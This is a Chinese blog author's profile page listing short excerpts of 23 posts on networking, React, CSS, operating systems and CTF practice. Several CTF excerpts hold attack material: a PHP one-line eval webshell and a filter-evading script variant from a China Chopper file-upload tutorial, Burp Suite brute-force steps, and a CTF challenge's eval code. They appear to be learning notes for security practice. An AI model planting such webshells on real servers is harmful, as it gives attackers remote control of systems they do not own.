自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(23)
  • 收藏
  • 关注

原创 window11 连接Vmware虚拟机Ubuntu一直 ssh: connect to host 192.168.***.*** port 22: Connection refused

拒绝连接的连接的是window11主机 ipconfig的VMnet8的ip。找了网上的重装ssh 禁用防火墙 修改ssh配置 修改网段啥的都不行。然后在虚拟机上执行了ifconfig 发现ip不一样。不知道这两个有啥区别,还是学少了,搞了我好久。原来自己ip搞错了,但一直又ping的通。

2023-05-11 17:40:06 436

原创 Could not find method compile() for arguments

可能你的gradle版本为3.0 compile 已过时可以使用api、implementation

2021-11-29 16:32:26 1344

原创 CTF-SMC 逆向练习

SMC代码修改逆向分析--小白学习

2021-11-28 20:25:50 5093

原创 带你了解进程管理

进程进程进程的概念进程是程序的一次执行过程。进程映像由程序段、相关数据段和PCB(进程控制块)三部分组成。PCB 记录了进程描述信息(PID、UID)、进程拥有的资源(内存、I/O设备等)和进程运行情况(CPU使用时间等)。数据段 包含运行过程中产生的各种数据。**程序段 ** 程序指令,多个进程可以运行同一个程序。进程的特征**动态性 ****并发性 ****独立性 ****异步性 ****结构性 **进程的状态和转换**运行态 ** 进程正在处理机上运行。就绪态可转

2020-09-09 20:42:45 478

原创 必须知道的DNS域名系统

DNS全称是Domain Name System,它用来把人们便于记忆的具有特定含义的主机名转换为便于机器处理的IP地址。DNS系统采用的是客户/服务器模型,其协议是运行在UDP上,端口为53。层次域名空间因特网采用的是层次树状结构的命名方法,所以每台主机或路由器都有唯一的层次结构名称,即域名。一个域可被划分成多个子域,每个域名都由标号序列组成,而每个标号之间用(“.”)隔开。每一级的域名都...

2020-04-21 21:55:38 851

原创 最简单好记的UDP协议

下面是学习UDP的思维导图1.首先是UDP的特点:UDP无需建立连接。因此减少开销和建立连接的时延。 无连接状态。TCP需要在端系统中维护连接状态,连接状态包括接收和发送的缓存、拥塞控制参数和序号与确认号的参数,而UDP不需要,故某些专用应用服务器使用UDP时,可以支持更多的客户机。 分组开销小。TCP有20B的首部,而UDP仅有8B。 面向报文。应用程序交给UDP一...

2020-03-27 18:46:07 266

原创 Burp Suite 爆破步骤

burp爆破步骤,再不写我又得忘记了先开启 intercept is on,监听动作抓包如下:然后右键 send to intruder点击intruder --> Positions ,先Clear $ ,然后对需要爆破的数据进行Add $点击Payloads,添加好爆破的数据,点击add如果是文件字典的话,选择load点击打开点击in...

2019-12-13 21:49:42 3255

原创 c语言-- 小白学c

scanf("%d",&D[i][j]) 中少了 &号,导致输入的时候程序停止工作或闪退。for() 循环中不能定义变量for(int i=1; i<=n; i++),否则编译会报错。在c语言中,字符串是以一维数组的形式存在的。---------------------------------------------------------------------...

2019-11-22 12:47:21 196

原创 面试题 canvas 和 svg的区别

canvas 和 svg都允许在浏览器上绘制图形,但本质上是不同的。cavas:通过JS来绘制,只要它的位置发生改变,就得重新绘制 它是逐像素渲染,依赖屏幕的分辨率 弱的文本渲染能力 不支持事件处理 能够jpg、png图像格式保存 适合图像密集的游戏,其中的许多对象会被频繁重绘SVG:(svg的对象是文档对象模型的一部分)使用XML的2d语言 不依赖屏幕分辨率 支持事件...

2019-11-21 17:16:13 615

原创 中国菜刀使用教程--ctf 文件上传

首先把包含一句话的文件上传,php内容文件如下:<?php eval($_POST['a']);?>如果会过滤 <? 和 php 关键字,可以使用长标签<script language="pHp">@eval($_POST['sb'])</script>打开中国菜刀主页面,右键点击添加,配置如下(密码即上面的sb)点击...

2019-11-07 16:45:53 5652

原创 压缩包隐写

压缩包本身不具备隐藏信息的功能,但CTF中压缩包经常与隐写术结合一起来考查。压缩包格式:Rar 有Rar标志 zip 有PK标志 7z 有7z标志zip 的 无加密 伪加密 真加密有两个加密标志 数据区和目录区的加密标记无加密 (偶数(00 00)偶数) 伪加密(偶数奇数) 真加密(奇数奇数(09 00))压缩包+图片压缩包和图片混合,但给出的是压缩...

2019-11-01 17:06:35 2673

原创 双图隐写

双图隐写泛指CTF中以两张图片为解题线索的题型给出一张图片隐藏了另一张图 给出了两张图片,需结合分析提取隐藏信息一、图像格式拼接每种图像格式具有不同的文件头和文件尾。可在图片A的文件尾后拼接图片B的文件头,因为在文件尾处数据流就已经结束,所以图片B会隐藏起来。二、图层叠加图像由图层叠加而成,而图层由像素组合而成。三、图像运算图像的运算实质上是像素的运算...

2019-11-01 09:47:47 3580

原创 百度杯”CTF比赛 2017 二月场 Web-爆破-1

<?phpinclude "flag.php";$a = @$_REQUEST['hello'];if(!preg_match('/^\w*$/',$a )){ die('ERROR');}eval("var_dump($$a);");show_source(__FILE__);?>$a = @$_REQUEST['hello']; 表明它会接收一个 hello...

2019-10-29 11:07:07 429

原创 利用margin特性实现两端布局和等高布局

margin在元素的宽高有固定值的时候,不能改变该元素的尺寸,但如果该元素处于“充分利用可用空间”的状态下,就可以改变该元素的尺寸“充分利用可用空间”<div class="father"> <div class="son"></div> </div>.father{ width:300px;}.son {width:0-...

2019-10-23 14:59:32 337

原创 TCP/IP入门笔记及理解 ---网络访问层

关键术语:数据帧:数据链路层的协议数据单元,来自于网际层的IP级别的数据报以预定义的格式封装为数据帧。子网:IP地址是以网络号和主机号来表示网络上的主机的,只有在一个网络号下的计算机之间才能“直接”互通,不同网络号的计算机要通过网关(Gateway)才能互通。但这样的划分在某些情况下显得并不十分灵活。为此IP网络还允许划分成更小的网络,称为子网(Subnet)。网络适配器:也称网...

2019-04-18 14:00:01 817

原创 面向对象,你懂多少?

面向对象迅速受到青睐的原因:.面向对象方法更符合人们对客观规律的认知。 面向对象开发的软件系统易于维护且相对稳定。 面向对象支持软件的复用(继承机制)。Peter Coad 和 Edward Yourdon提出了 面向对象 = 对象(object) + 分类(classification) ...

2019-04-11 07:57:18 185

原创 JS基础 不知道的JS

1.JS区分大小写,而HTML不区分大小写(XHTML区分大小写)。2.当不书写分号时,JavaScript解释器并不会在所有换行处都填补分号,只有在缺少了分号就无法正确解析代码的时候,JavaScript才会填补分号。(换言之,JavaScript默认使用贪婪模式匹配语句,即尽可能地将代码压缩拼接,只有当报错时,才会填补上分号)。所以,有些程序员喜欢保守地在语句前加上一个分号,保...

2019-03-14 21:22:55 253

原创 React prop和state

React中组织数据的形式有两种,分别是prop和state。propprop是组件对外的接口,即是外部传递给组件的数据。(这里的外部不仅是指我们直接输入的数据,也可以父组件给子组件传递的数据)把数据从子组件传递给父组件实际上可以调用函数,即把父组件的方法传给子组件,然后通过子组件的事件调用父组件的方法来改变父组件的值prop的类型可以是任意的一种JS支持的数据类型。(包括函数)...

2019-01-28 00:00:17 252

原创 React 理念及优点

React的理念:React不像JQuery,JQuery是我们想修改某一功能时,首先要获取该功能的DOM元素,再去做关于功能的修改。而React是我想要哪些效果,我就直接去做效果的修改。React的理念有人归结成一个公式:                                       UI = render(data)即是指用户所看到的的UI界面是由data(数据)作为...

2019-01-21 21:54:27 2901

原创 React 小记 start脚本

React中对start脚本的定义是:"scripts":{"start":"react-scripts start","build":"react-scripts build","test":"react-scripts test --env=jsdom","eject":"react-scripts eject&qu

2019-01-21 12:12:29 709 2

原创 React 小记JSX

JSX:是JavaScript的一个语法糖(语法扩展),即在JS中可以编写像HTML一样的代码。JSX实现高聚合,低耦合原则,高聚合是指React把实现一个功能的JS,CSS,HTML都封装在一个文件中,低耦合是指每一个实现不同功能的React组件都有他的独立性。JSX与HTML的对比:HTML上onclick添加的事件处理函数是在全局环境下执行的,会污染全局。onclick添加的...

2019-01-21 12:11:53 199

原创 读图解http笔记2

简单的HTTP协议 http协议是一种不保存状态的协议,即无状态协议。http协议不会保存之前发送过的请求或响应功能,比如用户的登录信息等。(不保存交互信息)所以每当有新的请求发送,就会有新的响应产生。 目的:为了更快地处理大量的事务,确保协议的可伸缩性。(如果http协议不是无状态协议的话,就需要保存大量的交互信息(会增大cpu的开销和内存资源的消耗),而许多信息...

2018-12-06 15:51:39 152

原创 读图解http笔记

TCP/IP协议族 1.TCP/IP的分层:分为4个层次:应用层,传输层,网络层,和链路层。 分层的好处:(1)可以在某层次变动后,只需修改某层次的内容,而不用把所有部分整体都替换掉。(维护性好,可扩展性高)(2)层次化后,对于每个层次的设计也变得简单了许多。 各层的作用如下: (1)应用层决定了向用户提供应用服务通信时的活动。(我的理解类似于准备活...

2018-12-05 17:09:55 167

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除